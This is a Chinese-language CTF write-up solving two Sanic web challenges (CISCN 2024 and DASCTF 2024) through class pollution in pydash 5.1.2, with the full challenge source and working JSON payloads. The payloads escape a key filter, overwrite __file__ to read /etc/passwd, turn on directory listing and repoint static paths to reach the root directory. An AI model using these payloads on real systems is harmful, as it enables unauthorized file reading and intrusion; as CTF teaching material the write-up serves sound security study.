2024CISCN

我们/src扫到源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

大概扫一下,先看登入框

@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")

这里要cookie传参,这个要传入的值是adm;n

但是我们传入cookie的时候,这里会被截断,所以我们这里用八进制来进行编码绕过

所以我们传入user = "adm/073"

登入成功之后,我们再次对源码审计

上面标注了是5.12版本的,这里有个原型链污染

我们尝试一下文件读取

因为这里会对file进行读取,我们对file进行污染,从而进行文件读取

f key and value and type(key) is str and '_.' not in key:

这里对_.进行了过滤

RE_PATH_KEY_DELIM = re.compile(r"(?<!\)(?:\\)*.|([\d+])")

发现 \. 会当作 .进行处理,可以绕过题目的过滤,而 . 会作为 . 的转义不进行分割

__init__\\\\.__globals__

所以我们可以使用如下payload进行读文件

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}

然后我们访问src

成功读取文件

接下来我们就可以读取flag了,但是我们不知道flag的名字

我们通过读取static.py

发现这个是请求了一下DIrectoryHandler,我们跟进一下

发现,这个里面可以看见目录,但是默认是不开启的,也就是false,我们想要开启这个目录功能,就要把它污染为true

但是我们不知道这个路由,所以我们要找到这个路由

sanic框架可以通过app.router.name_index['xxxxx']来获取注册的路由,我们可以打印看看

 {'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=admin>}

我们发现这里打印了所有路由的信息

我们打印一下__mp_main__.static来看一下

<Route: name=__mp_main__.static path=static/<__file_uri__:path>>

和上面显示的一样

我们接下来断点看一下name.index

我们发现了这个route已经到了static,接着我们看下面的

下面的handler有个keywords下面有个directory_handler我们继续看

这个就有这个directory_view属性,这个就可以污染了

结果就是

我们成功得到这个属性了

http://127.0.0.1:8000/src?keke=print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view)

接着我们就可以污染了

需要注意一点的是,这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,

我们这里要进行转义

因为__mp_main__.static是一起的

所以我们的payload就是这个

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}

我们试一下看能不能成功

访问static/

成功污染

接下来就是污染到根目录就可以看见flag的名字了

这里是请求的文件信息,我们找到这个

这里是路径,我们是断点查看

因为这个parts是一个tuple类型的,我们不能直接污染

所以我们看一下这个parts具体调用

所以我们直接污染._parts的值就可以了,我们访问这个属性,看看是什么

http://127.0.0.1:8000/src?keke=print(app.router.name_index[%27__mp_main__.static%27].handler.keywords[%27directory_handler%27].directory._parts)

这个是一个list,那么我们就可以污染了因为pydash 只能处理 listobjdict 而不能处理 tupleset 等对象

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

我们访问static/试一下

得到flag名字之后我们就可以读取了

污染完成之后就可以直接/src

参考

https://www.cnblogs.com/gxngxngxn/p/18205235

https://xz.aliyun.com/t/14620?time__1311=GqAhYK0KBK8D%2FD0ltdGQ30Qgu77wbAeD

https://hurrison.com/posts/ciscn2024/

2024DASCTF暑期

这道题是ciscn的改版

和原版不同的是这道题移除了admin的登入,然后根据注释,提供的源码还是不完整的

from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
    def __init__(self):
        pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/*****secret********")
async def secret(request):
    secret='**************************'
    return text("can you find my route name ???"+secret)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())

@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        log_dir = create_log_dir(6)
        log_dir_bak = log_dir + ".."
        log_file = "/tmp/" + log_dir + "/access.log"
        log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
        log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
        # 生成日志文件
        os.system("mkdir /tmp/" + log_dir)
        with open(log_file, 'w') as f:
            f.write(log)
        # 备份日志文件
        os.system("mkdir /tmp/" + log_dir_bak)
        with open(log_file_bak, 'w') as f:
            f.write(log)
        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

除了这个之外,还有就是把关键的地方给过滤了

在对路由进行污染的时候我们必须用到parts来污染到根目录才能进行对flag文件的读取,况且这个属性的值是个list

所以我们只能换一种思路进行做题了,看了出题人的博客

这里有一个这个东西

污染之后可以直接访问到文件,我们试着污染一下,

成功污染我们试着在static目录访问一下

得到完整的文件我们访问一下

from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2

#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
    def __init__(self):
        pass

def create_log_dir(n):
        ret = ""
        for i in range(n):
            num = random.randint(0, 9)
            letter = chr(random.randint(97, 122))
            Letter = chr(random.randint(65, 90))
            s = str(random.choice([num, letter, Letter]))
            ret += s
        return ret
        
app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
    with open("/h111int",'r') as f:
       hint=f.read()
    return text(hint)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())
   
@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
    #方便管理员查看非法日志
    log_dir=os.popen('ls /tmp -al').read();
    return text(log_dir)
    
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        log_dir=create_log_dir(6)
        log_dir_bak=log_dir+".."
        log_file="/tmp/"+log_dir+"/access.log"
        log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
        log='key: '+str(key)+'|'+'value: '+str(value);
        #生成日志文件
        os.system("mkdir /tmp/"+log_dir)
        with open(log_file, 'w') as f:
             f.write(log)
        #备份日志文件
        os.system("mkdir /tmp/"+log_dir_bak)
        with open(log_file_bak, 'w') as f:
             f.write(log)
        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

对比之前的文件,发现这里面多了一个秘密文件,多了一个查看非法日志文件

@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
    with open("/h111int",'r') as f:
       hint=f.read()
    return text(hint)

我们访问这个路由看一下提示

他说了flag的目录在/app下,这里我们还要参考一下,CISCN的题,当我们开启了目录功能之后,会发生什么呢,当然也提示了可以在

directory找到线索

在这里,我们发现如果我们开启了目录浏览功能,就会返回这个目录的路径什么的

看一下里面的的index方法

这里面是对路径进行处理

这里的路径就是parts和current进行拼接得到的

我们看一下这个current怎么来

这个base就是path和self.base如果我们访问/static/那么这个self.base就是static

如果说我们把current的值控制为..那么我们就可以访问上级目录了

如果说static下面有一个叫做ctf的文件,那么我们访问这个static/ctf../

那么这个base就是static,current就是ctf..,假如说,我们控制base为static/ctf

那么这个current就是..,最终就访问到static的上级目录,对于linux系统,我们需要一个文件名为xxx..的文件

我们才能访问成功,不然会报错,正好,这个adminLook路由会显示我们的日志情况,有文件名我们可以利用,看有没有符合要求的文件名

我们先输入错误的进去,触发日志情况正好有那个名字是..的文件

接下来我们先用这个file_or_directory

开启一下这个列目录功能

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

污染到tem目录,因为tem目录有文件可以读取

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}

接下来就污染这个base的值

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ddahJ6"}

接着访问就行了

最后再污染到/目录进行文件读取

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

结束